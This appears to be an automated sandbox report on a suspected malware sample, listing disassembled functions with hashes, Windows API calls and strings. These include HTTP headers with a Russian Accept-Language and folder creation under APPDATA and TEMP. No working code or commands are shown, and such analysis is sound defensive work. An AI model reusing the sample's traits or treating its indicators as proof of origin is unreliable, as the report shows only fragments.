Opcode ID: 155fdf828cc1a68224671d8463af09aa675ce20b5f6138435d55ab4cc6db293a
Instruction ID: 99e14cb6c8dcc4106243764c11d06b0c28774b953310264e3005169be298fafd
Opcode Fuzzy Hash: 155fdf828cc1a68224671d8463af09aa675ce20b5f6138435d55ab4cc6db293a
Instruction Fuzzy Hash: 36716CF3F116254BF3444939CC983626683ABD6324F2F42798B5C9B3D6DD7E5C0A5244

Function 00829024 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a15622e6827db25209375b42e5a23cb6f87dbac517c17123e0a175355e83de
Instruction ID: 0fb171cada7eb0680d771f982dd6150e72f4e9aaba4ea572674bf53e2a097ee5
Opcode Fuzzy Hash: 52a15622e6827db25209375b42e5a23cb6f87dbac517c17123e0a175355e83de
Instruction Fuzzy Hash: 415181F3F116254BF3544978CC983A16652EB95314F2F82788F4CABBC5D83E9D0A9384

Function 04D296AC Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction ID: fe08b07c6af71d16af6184884f3c7aad12a4879341f03daae0258020ab1ff86b
Opcode Fuzzy Hash: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction Fuzzy Hash: 7E5159B1F00625DFEB24CF94D9917AAB7F0FB58308F24806AD405EB260D375A941CF98

Function 00944688 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86acad82a844d9a3617ab1516bddc16a295fb82b654594df0c16546ece326a93
Instruction ID: 170f953eaa814d433363e18cc2bb7f03e8121ad2f5facd4c3ca19406e35af4a2
Opcode Fuzzy Hash: 86acad82a844d9a3617ab1516bddc16a295fb82b654594df0c16546ece326a93
Instruction Fuzzy Hash: 5D419FF7F516204BF3504928DC943526693DBDA324F2F8178CE586B7C6E97E9C0A9384

Function 008F646C Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e9e46d1e437784d779147465eeb3971d47c7983513dd8463330d48af3aa02f
Instruction ID: 419f745f9c238712d8c210f2f665609c94f5f75f960191c08990df73cdec371a
Opcode Fuzzy Hash: 68e9e46d1e437784d779147465eeb3971d47c7983513dd8463330d48af3aa02f
Instruction Fuzzy Hash: 164139B35085009FE7046E28EC4567AFBD5EFD4730F2A863DEAC487784EA3958118792

Function 0087C9C2 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e5b5fd96cd3fd14c313435e52b458730432b775af624996e4ba253affc1f634
Instruction ID: 5c75cf46e3bdde413ab4f1e9af50e5ec11ddbf118542d47afff934f25d821f71
Opcode Fuzzy Hash: 4e5b5fd96cd3fd14c313435e52b458730432b775af624996e4ba253affc1f634
Instruction Fuzzy Hash: CE416CF3E106314BF3944979CC943526682ABA6324F2F42798F6CAB7C5DD7E5C069284

Function 00ABD0BE Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000AB9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AB9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ab9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee70bd88cb46764998023d72f1c40b80a9349641c2d459f8f377ffa693ccac0
Instruction ID: 76500d5113083637b38cc55c84170a4e15bb5f7e71a459a24c89f29c92507d6c
Opcode Fuzzy Hash: 2ee70bd88cb46764998023d72f1c40b80a9349641c2d459f8f377ffa693ccac0
Instruction Fuzzy Hash: 33317AB650C200AFD309AF68D841ABEFBE9FF84720F264C2EE6C5C2610D63558919B57

Function 0084691D Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20f0b2f34a18d28b0abb2f6669cac627038bd388404fbefed000f916db1482a5
Instruction ID: 62ee9ee1471cb82e504687996d125c31fd855137841fa962478211079d75e470
Opcode Fuzzy Hash: 20f0b2f34a18d28b0abb2f6669cac627038bd388404fbefed000f916db1482a5
Instruction Fuzzy Hash: BA2159F3E1453447F76058B8CD483A6E5869B90320F2F42398F9C7BAC0D8BE9C0642C9

Function 04D2AA90 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 5b8bdf9313189d183c23643ff9173b5a105b27cfcab335ed032ed52214853b5a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F111267720116153D604CA3DCBB85B7A3D6FFE532872D827AC1924BB44D122B544E600

Function 04B6B8F7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 27f173d3a7aaa6389860c0b61e20e3162434e16f03fcf77494c6a5756b5cace0
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: E311047724806243D6588E6DD4B86B6E3B5EBE5320B2C46FAD083CB7DAD23AB1449600

Function 100102A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6858cf0c51ff5caabfc3a7f957f7e97cc4d55c404d013567cdc706fa4bfc5bf2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5111087774118243D681C56DC4F86ABA3DEFBC52A0729436AF0D28FA58D2F2DAC5A600

Function 0040B690 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b545b07da7e7745530abcd8f67b80a540579b97e0dd86f1b90800f2e494ad7bb
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F1115B7720004243D604862DCDF45BBA395EBC5320B2C477BD0516BBD4D33BD841968D

Function 00D3CABB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2444736465.0000000000D3C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D3C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d3c000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: cfdbec25073849d50c68e9189f6e5ab3bf4316efa382a3ba7161c00f2f149114
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: B8118E72350104AFD744DF95DC82FA6B3EAEB89360B298169ED04DB316E675EC01C770

Function 00ABE840 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000AB9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AB9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ab9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95b018d147c0349e618bf757f419297f629c7c62aba7b9345c7f0b2c0349efa8
Instruction ID: 63d8652cf31d6c770bb9dd33022eb5e99d4c443238f31883529711b4f7606f5c
Opcode Fuzzy Hash: 95b018d147c0349e618bf757f419297f629c7c62aba7b9345c7f0b2c0349efa8
Instruction Fuzzy Hash: 9011356284E3C28FC3038B7088A9681BF70AE2321176DC2DFC8D58E1D3D75A9496C723

Function 04B60D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 1b11a8809910066134200acfd2ee67df4d99740cf7b1871b7d22f6237b8bbf4a
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 1801A276A016148FDF21EF25C804BAE33E5EBC6216F4549E5E90B9B281E778B9418F90

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 00409B9D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,00409B7B), ref: 00409BA9
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409B7B), ref: 00409BB4
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409B7B), ref: 00409BC5
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00409BD7
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00409BE5
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409B7B), ref: 00409C08
DeleteCriticalSection.KERNEL32(0042D064,00000007,?,?,00409B7B), ref: 00409C24
CloseHandle.KERNEL32(00000000,?,?,00409B7B), ref: 00409C34

Strings

WakeAllConditionVariable, xrefs: 00409BDD
SleepConditionVariableCS, xrefs: 00409BD1
kernel32.dll, xrefs: 00409BC0
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00409BAF

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 37dafa969150eeb09f2d68ad9d46abae469e8d92b579355ddc2ecf38041403ba
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 4B017531F44721BBE7205BB4BC09F563AE8AB48715F544032F905E22A2DB78CC078A6C

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

TMPDIR, xrefs: 10001E24
APPDATA, xrefs: 10001D3F

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 0041C38F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0041CE8F), ref: 0041C3A8

Strings

log10, xrefs: 0041C3EA, 0041C3F9
asin, xrefs: 0041C4D5
log, xrefs: 0041C405, 0041C414
pow, xrefs: 0041C446, 0041C4F0, 0041C53D
sqrt, xrefs: 0041C4E7
acos, xrefs: 0041C4DE
exp, xrefs: 0041C427, 0041C48C

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction ID: c807006a3b6ff10d3a002f023a5ec1143af0d4f8941b6a10615b45774aafcbb0
Opcode Fuzzy Hash: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction Fuzzy Hash: A751CC7098422AEBCB108F98ED9C5FE7F71FB05304F908057D480A6664C7BC99A6CB5D

Function 04D2B0BB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04D2B1DA
___TypeMatch.LIBVCRUNTIME ref: 04D2B2E8
_UnwindNestedFrames.LIBCMT ref: 04D2B43A
CallUnexpected.LIBVCRUNTIME ref: 04D2B455

Strings

csm, xrefs: 04D2B0F8
csm, xrefs: 04D2B165
csm, xrefs: 04D2B211

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 3f0e76fb65b111aa2034aa43f29bd7b870063e2057c83a498e1c26ab1b4d04f7
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 4BB18C71900629EFDF19DF94CA809AEBBB5FF24318F14815BE8116B215D3B0FA51CBA1

Function 04B6BF22 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04B6C041
___TypeMatch.LIBVCRUNTIME ref: 04B6C14F
_UnwindNestedFrames.LIBCMT ref: 04B6C2A1
CallUnexpected.LIBVCRUNTIME ref: 04B6C2BC

Strings

csm, xrefs: 04B6BFCC
csm, xrefs: 04B6C078
csm, xrefs: 04B6BF5F

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 1509df7a94b0188fe7ae1ffb6bd3d2e8c151811ca06297b31db7e092e5720e3b
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 3EB18A71800219EFDF15DFA4D8809AEBBB5FF04314F1440AAE896AB215D739FA61CF91

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 100041DB
csm, xrefs: 10004287
csm, xrefs: 1000416E

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 0040BCBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040BDDA
___TypeMatch.LIBVCRUNTIME ref: 0040BEE8
_UnwindNestedFrames.LIBCMT ref: 0040C03A
CallUnexpected.LIBVCRUNTIME ref: 0040C055

Strings

csm, xrefs: 0040BCF8
csm, xrefs: 0040BD65
csm, xrefs: 0040BE11

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 526bd2c442181307887733989819878d768e136a746cf2eec307868f2bd45ee9
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: EEB1477180020AEBCF25DFA5C8819AEBBB5EF04314B14416BE815BB292D738DA51CFDD

Function 04B69E04 Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,04B69DE2), ref: 04B69E10
GetModuleHandleW.KERNEL32(0041FFC8,?,?,04B69DE2), ref: 04B69E1B
GetModuleHandleW.KERNEL32(0042000C,?,?,04B69DE2), ref: 04B69E2C
GetProcAddress.KERNEL32(00000000,00420028), ref: 04B69E3E
GetProcAddress.KERNEL32(00000000,00420044), ref: 04B69E4C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B69DE2), ref: 04B69E6F
RtlDeleteCriticalSection.NTDLL(0042D064), ref: 04B69E8B
CloseHandle.KERNEL32(0042D060,?,?,04B69DE2), ref: 04B69E9B

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 237c778da28d3ec3227189ffe2c952334d6fd0e3b115370afc663a24bdc1500b
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 5C017571F40711ABD7205BB4FC09F973AE8EB49B05B504475F906E2161DB78D80BCA68

Function 04D331CC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D33252

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: 14c4b1851f011b92f585c970317942e910a96f7bf487ac64264fb9fe56bd5e95
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 94B14572A00295AFEB12CFA8CD81BAEBBA5FF55315F188155ED04AF281D674F901C7A0

Function 04B74033 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B740B9

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: 143d90ba875223aeca4a41e852f491a56e77f475b64ad04eb166117007b8ab15
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: B3B19732A00265AFEF11CF68CC81BBEBFA4EF45345F0441E5E964AB281D374B910C7A0

Function 00413DCC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00413E52

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction ID: 4a21b80fcc43a582202c6f7144ab3ce64f52356938c116e7343db5097d41ee6d
Opcode Fuzzy Hash: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction Fuzzy Hash: 57B13672E003559FDB118F65CC81BEF7FA5EF59310F14416BE904AB382D2789A82C7A8

